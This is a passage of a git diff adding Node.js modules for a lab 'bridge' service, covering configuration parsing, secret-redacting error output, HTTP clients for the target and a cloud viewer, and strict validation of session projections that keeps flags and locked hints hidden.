+        await Promise.all(tasks);
+      } catch (error) {
+        if (!isAbort(error, this.signal)) throw error;
+      }
+    } finally {
+      this.stop();
+      if (tasks.length > 0) await Promise.allSettled(tasks);
+      await this.#uploadTail;
+      this.#running = false;
+    }
+  }
+}
diff --git a/labs/open-world-target/bridge/src/config.mjs b/labs/open-world-target/bridge/src/config.mjs
new file mode 100644
index 0000000..164331e
--- /dev/null
+++ b/labs/open-world-target/bridge/src/config.mjs
@@ -0,0 +1,167 @@
+import { BridgeError } from "./errors.mjs";
+
+const DEFAULT_TARGET_ORIGIN = "http://10.13.37.10:8787";
+const DEFAULTS = Object.freeze({
+  actionPollMs: 1_000,
+  heartbeatMs: 10_000,
+  requestTimeoutMs: 5_000,
+  sseIdleTimeoutMs: 25_000,
+  reconnectBaseMs: 500,
+  reconnectMaxMs: 30_000,
+});
+
+function parseInteger(name, value, fallback, minimum, maximum) {
+  const parsed = value === undefined ? fallback : Number(value);
+  if (
+    !Number.isSafeInteger(parsed) ||
+    parsed < minimum ||
+    parsed > maximum
+  ) {
+    throw new BridgeError(
+      "invalid_config",
+      `${name} must be an integer from ${minimum} to ${maximum}`,
+    );
+  }
+  return parsed;
+}
+
+function isLoopback(hostname) {
+  return (
+    hostname === "localhost" ||
+    hostname === "127.0.0.1" ||
+    hostname === "::1" ||
+    hostname === "[::1]"
+  );
+}
+
+function parseOrigin(
+  name,
+  value,
+  { defaultValue, cloud = false, target = false } = {},
+) {
+  const candidate = value ?? defaultValue;
+  if (typeof candidate !== "string" || candidate.length === 0) {
+    throw new BridgeError("invalid_config", `${name} is required`);
+  }
+
+  let url;
+  try {
+    url = new URL(candidate);
+  } catch {
+    throw new BridgeError("invalid_config", `${name} must be an absolute URL`);
+  }
+  if (!["http:", "https:"].includes(url.protocol)) {
+    throw new BridgeError("invalid_config", `${name} must use HTTP or HTTPS`);
+  }
+  if (
+    url.username ||
+    url.password ||
+    url.search ||
+    url.hash ||
+    !["", "/"].includes(url.pathname)
+  ) {
+    throw new BridgeError(
+      "invalid_config",
+      `${name} must be an origin without credentials, path, query, or fragment`,
+    );
+  }
+  if (cloud && url.protocol !== "https:" && !isLoopback(url.hostname)) {
+    throw new BridgeError(
+      "invalid_config",
+      `${name} must use HTTPS outside loopback development`,
+    );
+  }
+  if (
+    target &&
+    url.hostname !== "10.13.37.10" &&
+    !isLoopback(url.hostname)
+  ) {
+    throw new BridgeError(
+      "invalid_config",
+      `${name} must use the direct target address or loopback`,
+    );
+  }
+  return url.origin;
+}
+
+function parseSecret(name, value) {
+  if (
+    typeof value !== "string" ||
+    value.length < 32 ||
+    value.length > 512 ||
+    /[\s\u0000-\u001f\u007f]/.test(value)
+  ) {
+    throw new BridgeError(
+      "invalid_config",
+      `${name} must contain 32-512 visible non-whitespace characters`,
+    );
+  }
+  return value;
+}
+
+export function loadConfig(environment = process.env) {
+  return Object.freeze({
+    targetOrigin: parseOrigin(
+      "BRIDGE_TARGET_ORIGIN",
+      environment.BRIDGE_TARGET_ORIGIN,
+      { defaultValue: DEFAULT_TARGET_ORIGIN, target: true },
+    ),
+    cloudOrigin: parseOrigin(
+      "BRIDGE_CLOUD_ORIGIN",
+      environment.BRIDGE_CLOUD_ORIGIN,
+      { cloud: true },
+    ),
+    deploymentToken: parseSecret(
+      "BRIDGE_DEPLOYMENT_TOKEN",
+      environment.BRIDGE_DEPLOYMENT_TOKEN,
+    ),
+    targetToken: parseSecret(
+      "BRIDGE_TARGET_TOKEN",
+      environment.BRIDGE_TARGET_TOKEN,
+    ),
+    actionPollMs: parseInteger(
+      "BRIDGE_ACTION_POLL_MS",
+      environment.BRIDGE_ACTION_POLL_MS,
+      DEFAULTS.actionPollMs,
+      250,
+      10_000,
+    ),
+    heartbeatMs: parseInteger(
+      "BRIDGE_HEARTBEAT_MS",
+      environment.BRIDGE_HEARTBEAT_MS,
+      DEFAULTS.heartbeatMs,
+      5_000,
+      60_000,
+    ),
+    requestTimeoutMs: parseInteger(
+      "BRIDGE_REQUEST_TIMEOUT_MS",
+      environment.BRIDGE_REQUEST_TIMEOUT_MS,
+      DEFAULTS.requestTimeoutMs,
+      500,
+      30_000,
+    ),
+    sseIdleTimeoutMs: parseInteger(
+      "BRIDGE_SSE_IDLE_TIMEOUT_MS",
+      environment.BRIDGE_SSE_IDLE_TIMEOUT_MS,
+      DEFAULTS.sseIdleTimeoutMs,
+      5_000,
+      60_000,
+    ),
+    reconnectBaseMs: parseInteger(
+      "BRIDGE_RECONNECT_BASE_MS",
+      environment.BRIDGE_RECONNECT_BASE_MS,
+      DEFAULTS.reconnectBaseMs,
+      100,
+      5_000,
+    ),
+    reconnectMaxMs: parseInteger(
+      "BRIDGE_RECONNECT_MAX_MS",
+      environment.BRIDGE_RECONNECT_MAX_MS,
+      DEFAULTS.reconnectMaxMs,
+      1_000,
+      60_000,
+    ),
+  });
+}
+
+export { DEFAULT_TARGET_ORIGIN };
diff --git a/labs/open-world-target/bridge/src/errors.mjs b/labs/open-world-target/bridge/src/errors.mjs
new file mode 100644
index 0000000..06ac734
--- /dev/null
+++ b/labs/open-world-target/bridge/src/errors.mjs
@@ -0,0 +1,58 @@
+const SECRET_ASSIGNMENT =
+  /(\b(?:token|secret|password|credential|authorization|authTag)\b\s*[:=]\s*)[^\s,;]+/gi;
+const BEARER_VALUE = /\bBearer\s+[^\s,;]+/gi;
+const URL_CREDENTIALS = /(https?:\/\/)[^/\s:@]+:[^@\s/]+@/gi;
+const FLAG_VALUE = /\b(?:FLAG|LAB)\{[^}\r\n]{0,512}\}/gi;
+
+function escapeRegExp(value) {
+  return value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
+}
+
+export class BridgeError extends Error {
+  constructor(code, message, { retryable = false, cause } = {}) {
+    super(message, { cause });
+    this.name = "BridgeError";
+    this.code = code;
+    this.retryable = retryable;
+  }
+}
+
+export function redactText(value, secrets = []) {
+  let text =
+    value instanceof Error
+      ? value.message
+      : typeof value === "string"
+        ? value
+        : "unexpected bridge failure";
+
+  for (const secret of secrets) {
+    if (typeof secret !== "string" || secret.length < 4) continue;
+    text = text.replace(
+      new RegExp(escapeRegExp(secret), "g"),
+      "[REDACTED]",
+    );
+  }
+
+  return text
+    .replace(URL_CREDENTIALS, "$1[REDACTED]@")
+    .replace(BEARER_VALUE, "Bearer [REDACTED]")
+    .replace(SECRET_ASSIGNMENT, "$1[REDACTED]")
+    .replace(FLAG_VALUE, "[REDACTED_FLAG]")
+    .replace(/[\r\n\t]+/g, " ")
+    .slice(0, 500);
+}
+
+export function writeSafeError(
+  writer,
+  code,
+  error,
+  { secrets = [] } = {},
+) {
+  const safeCode =
+    typeof code === "string" && /^[a-z0-9_.-]{1,64}$/.test(code)
+      ? code
+      : "bridge_failure";
+  writer(
+    `bridge_error code=${safeCode} detail=${redactText(error, secrets)}\n`,
+  );
+}
diff --git a/labs/open-world-target/bridge/src/http.mjs b/labs/open-world-target/bridge/src/http.mjs
new file mode 100644
index 0000000..a71230c
--- /dev/null
+++ b/labs/open-world-target/bridge/src/http.mjs
@@ -0,0 +1,357 @@
+import { validateAction } from "./actions.mjs";
+import { BridgeError } from "./errors.mjs";
+import {
+  MAX_PROJECTION_BYTES,
+  validateProjection,
+} from "./projection.mjs";
+import {
+  MAX_CONTROL_BYTES,
+  fetchHeaders,
+  requestJson,
+} from "./request.mjs";
+
+const SAFE_ID = /^[A-Za-z0-9][A-Za-z0-9_.:-]{0,127}$/;
+
+function joinedUrl(origin, path) {
+  return new URL(path, `${origin}/`).toString();
+}
+
+function exactObject(value, keys, label) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value)
+  ) {
+    throw new BridgeError("invalid_response", `${label} must be an object`);
+  }
+  const actual = Object.keys(value).sort();
+  const expected = [...keys].sort();
+  if (
+    actual.length !== expected.length ||
+    actual.some((key, index) => key !== expected[index])
+  ) {
+    throw new BridgeError(
+      "invalid_response",
+      `${label} contains unexpected fields`,
+    );
+  }
+  return value;
+}
+
+function safeId(value, label) {
+  if (typeof value !== "string" || !SAFE_ID.test(value)) {
+    throw new BridgeError("invalid_response", `${label} is invalid`);
+  }
+  return value;
+}
+
+function bearer(token) {
+  return `Bearer ${token}`;
+}
+
+function isLoopback(hostname) {
+  return (
+    hostname === "localhost" ||
+    hostname === "127.0.0.1" ||
+    hostname === "::1" ||
+    hostname === "[::1]"
+  );
+}
+
+function validateFixedActionPath(path) {
+  const match =
+    typeof path === "string"
+      ? path.match(
+          /^\/api\/session\/(hypotheses|hints)\/([A-Za-z0-9_.%~-]+)\/(select|unlock)$/,
+        )
+      : null;
+  if (!match) return false;
+  let targetId;
+  try {
+    targetId = decodeURIComponent(match[2]);
+  } catch {
+    return false;
+  }
+  if (!SAFE_ID.test(targetId) || encodeURIComponent(targetId) !== match[2]) {
+    return false;
+  }
+  return (
+    (match[1] === "hypotheses" && match[3] === "select") ||
+    (match[1] === "hints" && match[3] === "unlock")
+  );
+}
+
+export class TargetClient {
+  #targetToken;
+
+  constructor({
+    origin,
+    targetToken,
+    requestTimeoutMs,
+    fetchImpl = globalThis.fetch,
+  }) {
+    this.origin = origin;
+    this.#targetToken = targetToken;
+    this.requestTimeoutMs = requestTimeoutMs;
+    this.fetchImpl = fetchImpl;
+  }
+
+  get secrets() {
+    return [this.#targetToken];
+  }
+
+  getState({ signal } = {}) {
+    return requestJson(
+      this.fetchImpl,
+      joinedUrl(this.origin, "/api/session/state"),
+      {
+        headers: {
+          authorization: bearer(this.#targetToken),
+        },
+        signal,
+        timeoutMs: this.requestTimeoutMs,
+        maximumBytes: MAX_PROJECTION_BYTES,
+      },
+    );
+  }
+
+  async openEvents({ lastEventId, signal } = {}) {
+    const response = await fetchHeaders(
+      this.fetchImpl,
+      joinedUrl(this.origin, "/api/session/events"),
+      {
+        headers: {
+          accept: "text/event-stream",
+          authorization: bearer(this.#targetToken),
+          ...(lastEventId === undefined || lastEventId === null
+            ? {}
+            : { "last-event-id": String(lastEventId) }),
+        },
+        signal,
+        timeoutMs: this.requestTimeoutMs,
+      },
+    );
+    if (response.status !== 200) {
+      await response.body?.cancel();
+      throw new BridgeError(
+        "target_sse_status",
+        `target SSE returned status ${response.status}`,
+        { retryable: true },
+      );
+    }
+    const contentType = response.headers.get("content-type") ?? "";
+    if (!contentType.toLowerCase().startsWith("text/event-stream")) {
+      await response.body?.cancel();
+      throw new BridgeError(
+        "target_sse_content_type",
+        "target SSE did not return text/event-stream",
+      );
+    }
+    return response;
+  }
+
+  applyAction(path, { signal } = {}) {
+    if (!validateFixedActionPath(path)) {
+      throw new BridgeError("invalid_action_path", "target action path is not fixed");
+    }
+    return requestJson(this.fetchImpl, joinedUrl(this.origin, path), {
+      method: "POST",
+      headers: {
+        authorization: bearer(this.#targetToken),
+      },
+      body: {},
+      signal,
+      timeoutMs: this.requestTimeoutMs,
+      maximumBytes: MAX_PROJECTION_BYTES,
+    });
+  }
+}
+
+export class CloudClient {
+  #session = null;
+  #deploymentToken;
+
+  constructor({
+    origin,
+    deploymentToken,
+    requestTimeoutMs,
+    fetchImpl = globalThis.fetch,
+  }) {
+    this.origin = origin;
+    this.#deploymentToken = deploymentToken;
+    this.requestTimeoutMs = requestTimeoutMs;
+    this.fetchImpl = fetchImpl;
+  }
+
+  get sessionId() {
+    return this.#session?.sessionId ?? null;
+  }
+
+  get secrets() {
+    return [
+      this.#deploymentToken,
+      ...(this.#session ? [this.#session.uploadToken] : []),
+    ];
+  }
+
+  async createSession(targetSessionId, { signal } = {}) {
+    safeId(targetSessionId, "targetSessionId");
+    const value = exactObject(
+      await requestJson(
+        this.fetchImpl,
+        joinedUrl(this.origin, "/api/lab/bridge/session"),
+        {
+          method: "POST",
+          headers: {
+            authorization: bearer(this.#deploymentToken),
+          },
+          body: { targetSessionId },
+          signal,
+          timeoutMs: this.requestTimeoutMs,
+        },
+      ),
+      [
+        "sessionId",
+        "pairingCode",
+        "uploadToken",
+        "viewerUrl",
+        "expiresAt",
+      ],
+      "cloud session response",
+    );
+    const sessionId = safeId(value.sessionId, "cloud sessionId");
+    if (
+      typeof value.pairingCode !== "string" ||
+      !/^[A-Z2-9]{6}$/.test(value.pairingCode)
+    ) {
+      throw new BridgeError(
+        "invalid_response",
+        "cloud pairingCode is invalid",
+      );
+    }
+    if (
+      typeof value.uploadToken !== "string" ||
+      value.uploadToken.length < 32 ||
+      value.uploadToken.length > 512 ||
+      /\s/.test(value.uploadToken)
+    ) {
+      throw new BridgeError(
+        "invalid_response",
+        "cloud uploadToken is invalid",
+      );
+    }
+    let viewerUrl;
+    try {
+      viewerUrl = new URL(value.viewerUrl);
+    } catch {
+      throw new BridgeError("invalid_response", "cloud viewerUrl is invalid");
+    }
+    if (
+      !["http:", "https:"].includes(viewerUrl.protocol) ||
+      viewerUrl.username ||
+      viewerUrl.password ||
+      (viewerUrl.protocol !== "https:" && !isLoopback(viewerUrl.hostname))
+    ) {
+      throw new BridgeError("invalid_response", "cloud viewerUrl is invalid");
+    }
+    if (
+      typeof value.expiresAt !== "string" ||
+      Number.isNaN(Date.parse(value.expiresAt))
+    ) {
+      throw new BridgeError("invalid_response", "cloud expiresAt is invalid");
+    }
+    this.#session = Object.freeze({
+      sessionId,
+      uploadToken: value.uploadToken,
+    });
+    return Object.freeze({
+      sessionId,
+      pairingCode: value.pairingCode,
+      viewerUrl: viewerUrl.toString(),
+      expiresAt: value.expiresAt,
+    });
+  }
+
+  #sessionHeaders() {
+    if (!this.#session) {
+      throw new BridgeError("session_missing", "cloud session is not created");
+    }
+    return {
+      authorization: bearer(this.#session.uploadToken),
+      "x-lab-session": this.#session.sessionId,
+    };
+  }
+
+  uploadSnapshot(projection, { ackActionIds = [], signal } = {}) {
+    if (
+      !Array.isArray(ackActionIds) ||
+      ackActionIds.length > 32 ||
+      ackActionIds.some(
+        (value) => typeof value !== "string" || !SAFE_ID.test(value),
+      )
+    ) {
+      throw new BridgeError(
+        "invalid_acknowledgement",
+        "ackActionIds must contain bounded safe identifiers",
+      );
+    }
+    const sanitizedProjection = validateProjection(projection);
+    return requestJson(
+      this.fetchImpl,
+      joinedUrl(this.origin, "/api/lab/bridge/snapshot"),
+      {
+        method: "POST",
+        headers: this.#sessionHeaders(),
+        body: {
+          projection: sanitizedProjection,
+          ...(ackActionIds.length === 0 ? {} : { ackActionIds }),
+        },
+        signal,
+        timeoutMs: this.requestTimeoutMs,
+        maximumBytes: MAX_CONTROL_BYTES,
+        statuses: [200, 202, 204],
+        allowEmpty: true,
+      },
+    );
+  }
+
+  async pollActions({ signal } = {}) {
+    const value = exactObject(
+      await requestJson(
+        this.fetchImpl,
+        joinedUrl(this.origin, "/api/lab/bridge/actions"),
+        {
+          headers: this.#sessionHeaders(),
+          signal,
+          timeoutMs: this.requestTimeoutMs,
+        },
+      ),
+      ["actions", "pollAfterMs"],
+      "cloud actions response",
+    );
+    if (!Array.isArray(value.actions) || value.actions.length > 32) {
+      throw new BridgeError(
+        "invalid_response",
+        "cloud actions must be a bounded array",
+      );
+    }
+    const actions = value.actions.map(validateAction);
+    if (new Set(actions.map((action) => action.id)).size !== actions.length) {
+      throw new BridgeError(
+        "invalid_response",
+        "cloud actions contain duplicate ids",
+      );
+    }
+    if (
+      !Number.isSafeInteger(value.pollAfterMs) ||
+      value.pollAfterMs < 250 ||
+      value.pollAfterMs > 10_000
+    ) {
+      throw new BridgeError(
+        "invalid_response",
+        "cloud pollAfterMs is outside the bounded interval",
+      );
+    }
+    return Object.freeze({ actions, pollAfterMs: value.pollAfterMs });
+  }
+}
diff --git a/labs/open-world-target/bridge/src/projection-state.mjs b/labs/open-world-target/bridge/src/projection-state.mjs
new file mode 100644
index 0000000..e592e83
--- /dev/null
+++ b/labs/open-world-target/bridge/src/projection-state.mjs
@@ -0,0 +1,99 @@
+import { createHash } from "node:crypto";
+
+import { BridgeError } from "./errors.mjs";
+import { validateProjection } from "./projection.mjs";
+
+export class ProjectionRollbackError extends BridgeError {
+  constructor(message) {
+    super("projection_rollback", message, { retryable: true });
+    this.name = "ProjectionRollbackError";
+  }
+}
+
+export class ProjectionConflictError extends BridgeError {
+  constructor(message) {
+    super("projection_conflict", message);
+    this.name = "ProjectionConflictError";
+  }
+}
+
+function canonicalize(value) {
+  if (Array.isArray(value)) return value.map(canonicalize);
+  if (value !== null && typeof value === "object") {
+    return Object.fromEntries(
+      Object.keys(value)
+        .sort()
+        .map((key) => [key, canonicalize(value[key])]),
+    );
+  }
+  return value;
+}
+
+export function canonicalProjectionJson(projection) {
+  return JSON.stringify(canonicalize(projection));
+}
+
+export function projectionHash(projection) {
+  return createHash("sha256")
+    .update(canonicalProjectionJson(projection), "utf8")
+    .digest("hex");
+}
+
+export class ProjectionTracker {
+  #projection = null;
+  #hash = null;
+
+  get current() {
+    return this.#projection === null
+      ? null
+      : structuredClone(this.#projection);
+  }
+
+  get currentHash() {
+    return this.#hash;
+  }
+
+  accept(value) {
+    const next = validateProjection(value);
+    const nextHash = projectionHash(next);
+    if (this.#projection === null) {
+      this.#projection = next;
+      this.#hash = nextHash;
+      return {
+        changed: true,
+        projection: structuredClone(next),
+        hash: nextHash,
+      };
+    }
+    if (next.sessionId !== this.#projection.sessionId) {
+      throw new ProjectionConflictError(
+        "target projection changed session identity",
+      );
+    }
+    if (next.revision < this.#projection.revision) {
+      throw new ProjectionRollbackError(
+        "target projection revision moved backwards",
+      );
+    }
+    if (next.revision === this.#projection.revision) {
+      if (nextHash !== this.#hash) {
+        throw new ProjectionConflictError(
+          "target projection changed at the same revision",
+        );
+      }
+      return {
+        changed: false,
+        projection: structuredClone(this.#projection),
+        hash: this.#hash,
+      };
+    }
+
+    this.#projection = next;
+    this.#hash = nextHash;
+    return {
+      changed: true,
+      projection: structuredClone(next),
+      hash: nextHash,
+    };
+  }
+}
diff --git a/labs/open-world-target/bridge/src/projection.mjs b/labs/open-world-target/bridge/src/projection.mjs
new file mode 100644
index 0000000..d7d39ad
--- /dev/null
+++ b/labs/open-world-target/bridge/src/projection.mjs
@@ -0,0 +1,494 @@
+import { BridgeError } from "./errors.mjs";
+
+export const MAX_PROJECTION_BYTES = 256 * 1024;
+const SAFE_ID = /^[A-Za-z0-9][A-Za-z0-9_.:-]{0,127}$/;
+const ICONS = new Set([
+  "browser",
+  "calendar",
+  "door",
+  "file",
+  "folder",
+  "globe",
+  "network",
+  "server",
+  "terminal",
+  "user",
+]);
+const SECRET_TEXT = [
+  /\b(?:FLAG|LAB)\{[^}\r\n]{0,512}\}/i,
+  /-----BEGIN (?:RSA |OPENSSH |EC )?PRIVATE KEY-----/i,
+  /\bauthorization\s*:\s*bearer\s+\S+/i,
+  /\b(?:password|passwd|token)\s*[:=]\s*\S+/i,
+];
+
+export class ProjectionBoundaryError extends BridgeError {
+  constructor(message) {
+    super("projection_boundary", message);
+    this.name = "ProjectionBoundaryError";
+  }
+}
+
+function fail(path, message) {
+  throw new ProjectionBoundaryError(`${path} ${message}`);
+}
+
+function plainObject(value, path) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value) ||
+    (Object.getPrototypeOf(value) !== Object.prototype &&
+      Object.getPrototypeOf(value) !== null)
+  ) {
+    fail(path, "must be an object");
+  }
+  return value;
+}
+
+function exactKeys(value, path, required, optional = []) {
+  const requiredSet = new Set(required);
+  const allowed = new Set([...required, ...optional]);
+  const keys = Object.keys(value);
+  for (const key of keys) {
+    if (!allowed.has(key)) fail(`${path}.${key}`, "is not allowed");
+  }
+  for (const key of requiredSet) {
+    if (!Object.hasOwn(value, key)) fail(`${path}.${key}`, "is required");
+  }
+}
+
+function text(value, path, { minimum = 1, maximum = 220 } = {}) {
+  if (
+    typeof value !== "string" ||
+    value.length < minimum ||
+    value.length > maximum ||
+    /[\u0000-\u001f\u007f]/.test(value) ||
+    SECRET_TEXT.some((pattern) => pattern.test(value))
+  ) {
+    fail(path, `must be safe text from ${minimum} to ${maximum} characters`);
+  }
+  return value;
+}
+
+function identifier(value, path) {
+  if (typeof value !== "string" || !SAFE_ID.test(value)) {
+    fail(path, "must be a safe identifier");
+  }
+  return value;
+}
+
+function boolean(value, path) {
+  if (typeof value !== "boolean") fail(path, "must be boolean");
+  return value;
+}
+
+function integer(value, path, { minimum = 0, maximum } = {}) {
+  if (
+    !Number.isSafeInteger(value) ||
+    value < minimum ||
+    (maximum !== undefined && value > maximum)
+  ) {
+    fail(path, "must be a bounded integer");
+  }
+  return value;
+}
+
+function array(value, path, maximum) {
+  if (!Array.isArray(value) || value.length > maximum) {
+    fail(path, `must be an array with at most ${maximum} entries`);
+  }
+  return value;
+}
+
+function optionalText(value, path, maximum = 220) {
+  return value === undefined
+    ? undefined
+    : text(value, path, { minimum: 0, maximum });
+}
+
+function icon(value, path) {
+  if (typeof value !== "string" || !ICONS.has(value)) {
+    fail(path, "must be a known public icon");
+  }
+  return value;
+}
+
+function ensureUnique(items, path) {
+  const seen = new Set();
+  for (const item of items) {
+    if (seen.has(item.id)) fail(path, `contains duplicate id ${item.id}`);
+    seen.add(item.id);
+  }
+}
+
+function validateFact(value, index) {
+  const path = `projection.facts[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "label", "icon"], ["detail"]);
+  return {
+    id: identifier(input.id, `${path}.id`),
+    label: text(input.label, `${path}.label`),
+    ...(input.detail === undefined
+      ? {}
+      : { detail: text(input.detail, `${path}.detail`, { maximum: 500 }) }),
+    icon: icon(input.icon, `${path}.icon`),
+  };
+}
+
+function validateHypothesis(value, index) {
+  const path = `projection.hypotheses[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(
+    input,
+    path,
+    ["id", "label", "summary"],
+    ["selected", "available"],
+  );
+  return {
+    id: identifier(input.id, `${path}.id`),
+    label: text(input.label, `${path}.label`),
+    summary: text(input.summary, `${path}.summary`, { maximum: 500 }),
+    ...(input.selected === undefined
+      ? {}
+      : { selected: boolean(input.selected, `${path}.selected`) }),
+    ...(input.available === undefined
+      ? {}
+      : { available: boolean(input.available, `${path}.available`) }),
+  };
+}
+
+function validateInvestigation(value, index) {
+  const path = `projection.investigations[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(
+    input,
+    path,
+    ["id", "label", "summary", "icon"],
+    ["hypothesisId"],
+  );
+  return {
+    id: identifier(input.id, `${path}.id`),
+    label: text(input.label, `${path}.label`),
+    summary: text(input.summary, `${path}.summary`, { maximum: 500 }),
+    icon: icon(input.icon, `${path}.icon`),
+    ...(input.hypothesisId === undefined
+      ? {}
+      : {
+          hypothesisId: identifier(
+            input.hypothesisId,
+            `${path}.hypothesisId`,
+          ),
+        }),
+  };
+}
+
+function validateGraphNode(value, index) {
+  const path = `projection.graph.nodes[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(
+    input,
+    path,
+    ["id", "state"],
+    ["label", "detail", "icon", "kind", "progress", "position"],
+  );
+  const state = input.state;
+  if (!["discovered", "selected", "undiscovered"].includes(state)) {
+    fail(`${path}.state`, "is not a public graph state");
+  }
+  if (
+    state === "undiscovered" &&
+    ["label", "detail", "icon", "kind", "progress", "position"].some((key) =>
+      Object.hasOwn(input, key),
+    )
+  ) {
+    fail(path, "must not reveal undiscovered node material");
+  }
+
+  const projected = {
+    id: identifier(input.id, `${path}.id`),
+    state,
+  };
+  if (state !== "undiscovered") {
+    projected.label = text(input.label, `${path}.label`);
+    if (input.detail !== undefined) {
+      projected.detail = text(input.detail, `${path}.detail`, {
+        maximum: 500,
+      });
+    }
+    if (input.icon !== undefined) projected.icon = icon(input.icon, `${path}.icon`);
+    if (input.kind !== undefined) {
+      projected.kind = identifier(input.kind, `${path}.kind`);
+    }
+    if (input.progress !== undefined) {
+      projected.progress = text(input.progress, `${path}.progress`, {
+        maximum: 64,
+      });
+    }
+    if (input.position !== undefined) {
+      const position = plainObject(input.position, `${path}.position`);
+      exactKeys(position, `${path}.position`, ["x", "y"]);
+      for (const axis of ["x", "y"]) {
+        if (
+          typeof position[axis] !== "number" ||
+          !Number.isFinite(position[axis]) ||
+          Math.abs(position[axis]) > 10_000
+        ) {
+          fail(`${path}.position.${axis}`, "must be a bounded number");
+        }
+      }
+      projected.position = { x: position.x, y: position.y };
+    }
+  }
+  return projected;
+}
+
+function validateGraphEdge(value, index) {
+  const path = `projection.graph.edges[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["from", "to"], ["id", "state"]);
+  const projected = {
+    ...(input.id === undefined
+      ? {}
+      : { id: identifier(input.id, `${path}.id`) }),
+    from: identifier(input.from, `${path}.from`),
+    to: identifier(input.to, `${path}.to`),
+  };
+  if (input.state !== undefined) {
+    if (
+      !["known", "possible", "discovered", "available"].includes(input.state)
+    ) {
+      fail(`${path}.state`, "is not a public edge state");
+    }
+    projected.state = input.state;
+  }
+  return projected;
+}
+
+function validateHint(value, index) {
+  const path = `projection.hints[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(
+    input,
+    path,
+    ["id", "step", "title", "state"],
+    ["body", "condition"],
+  );
+  if (![1, 2, 3].includes(input.step)) {
+    fail(`${path}.step`, "must be 1, 2, or 3");
+  }
+  if (!["unlocked", "available", "locked"].includes(input.state)) {
+    fail(`${path}.state`, "is not a public hint state");
+  }
+  if (input.state !== "unlocked" && input.body !== undefined) {
+    fail(`${path}.body`, "must not reveal a locked hint");
+  }
+  return {
+    id: identifier(input.id, `${path}.id`),
+    step: input.step,
+    title: text(input.title, `${path}.title`),
+    state: input.state,
+    ...(input.body === undefined
+      ? {}
+      : { body: text(input.body, `${path}.body`, { maximum: 2_000 }) }),
+    ...(input.condition === undefined
+      ? {}
+      : {
+          condition: text(input.condition, `${path}.condition`, {
+            maximum: 500,
+          }),
+        }),
+  };
+}
+
+function validateRecentEvent(value, index) {
+  const path = `projection.recentEvents[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "at", "message"]);
+  const at = text(input.at, `${path}.at`, { maximum: 32 });
+  if (
+    !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/.test(at) ||
+    Number.isNaN(Date.parse(at))
+  ) {
+    fail(`${path}.at`, "must be an ISO 8601 UTC timestamp");
+  }
+  return {
+    id: identifier(input.id, `${path}.id`),
+    at,
+    message: text(input.message, `${path}.message`, { maximum: 500 }),
+  };
+}
+
+export function validateProjection(value) {
+  let serialized;
+  try {
+    serialized = JSON.stringify(value);
+  } catch {
+    fail("projection", "must be JSON serializable");
+  }
+  if (
+    typeof serialized !== "string" ||
+    Buffer.byteLength(serialized) > MAX_PROJECTION_BYTES
+  ) {
+    fail("projection", `must not exceed ${MAX_PROJECTION_BYTES} bytes`);
+  }
+
+  const input = plainObject(value, "projection");
+  exactKeys(
+    input,
+    "projection",
+    [
+      "sessionId",
+      "revision",
+      "status",
+      "facts",
+      "hypotheses",
+      "graph",
+      "hints",
+      "progress",
+      "recentEvents",
+      "telemetry",
+    ],
+    [
+      "experience",
+      "heading",
+      "lede",
+      "objective",
+      "consultationQuestion",
+      "investigations",
+      "capabilities",
+    ],
+  );
+
+  if (input.experience !== undefined && input.experience !== "live") {
+    fail("projection.experience", "must be live");
+  }
+
+  if (!["active", "complete", "ended"].includes(input.status)) {
+    fail("projection.status", "is not a public session status");
+  }
+
+  const facts = array(input.facts, "projection.facts", 14).map(validateFact);
+  const hypotheses = array(
+    input.hypotheses,
+    "projection.hypotheses",
+    32,
+  ).map(validateHypothesis);
+  const investigations =
+    input.investigations === undefined
+      ? undefined
+      : array(
+          input.investigations,
+          "projection.investigations",
+          8,
+        ).map(validateInvestigation);
+  const graph = plainObject(input.graph, "projection.graph");
+  exactKeys(graph, "projection.graph", ["nodes", "edges"]);
+  const nodes = array(graph.nodes, "projection.graph.nodes", 32).map(
+    validateGraphNode,
+  );
+  const edges = array(graph.edges, "projection.graph.edges", 96).map(
+    validateGraphEdge,
+  );
+  const hints = array(input.hints, "projection.hints", 3).map(validateHint);
+  const recentEvents = array(
+    input.recentEvents,
+    "projection.recentEvents",
+    20,
+  ).map(validateRecentEvent);
+  for (const [items, path] of [
+    [facts, "projection.facts"],
+    [hypotheses, "projection.hypotheses"],
+    [nodes, "projection.graph.nodes"],
+    [hints, "projection.hints"],
+    [recentEvents, "projection.recentEvents"],
+  ]) {
+    ensureUnique(items, path);
+  }
+  if (investigations) {
+    ensureUnique(investigations, "projection.investigations");
+  }
+
+  const progress = plainObject(input.progress, "projection.progress");
+  exactKeys(progress, "projection.progress", ["discovered", "total"]);
+  const total = integer(progress.total, "projection.progress.total", {
+    minimum: 14,
+    maximum: 14,
+  });
+  const discovered = integer(
+    progress.discovered,
+    "projection.progress.discovered",
+    { maximum: total },
+  );
+
+  const telemetry = plainObject(input.telemetry, "projection.telemetry");
+  exactKeys(telemetry, "projection.telemetry", ["status"], ["message"]);
+  if (!["live", "reconnecting", "unavailable"].includes(telemetry.status)) {
+    fail("projection.telemetry.status", "is not a detector status");
+  }
+
+  if (input.capabilities !== undefined) {
+    const capabilities = plainObject(
+      input.capabilities,
+      "projection.capabilities",
+    );
+    exactKeys(
+      capabilities,
+      "projection.capabilities",
+      ["manualFlagSubmission"],
+    );
+    boolean(
+      capabilities.manualFlagSubmission,
+      "projection.capabilities.manualFlagSubmission",
+    );
+  }
+
+  return {
+    experience: "live",
+    sessionId: identifier(input.sessionId, "projection.sessionId"),
+    revision: integer(input.revision, "projection.revision"),
+    status: input.status,
+    ...(input.heading === undefined
+      ? {}
+      : { heading: text(input.heading, "projection.heading", { maximum: 500 }) }),
+    ...(input.lede === undefined
+      ? {}
+      : { lede: text(input.lede, "projection.lede", { maximum: 1_000 }) }),
+    ...(input.objective === undefined
+      ? {}
+      : {
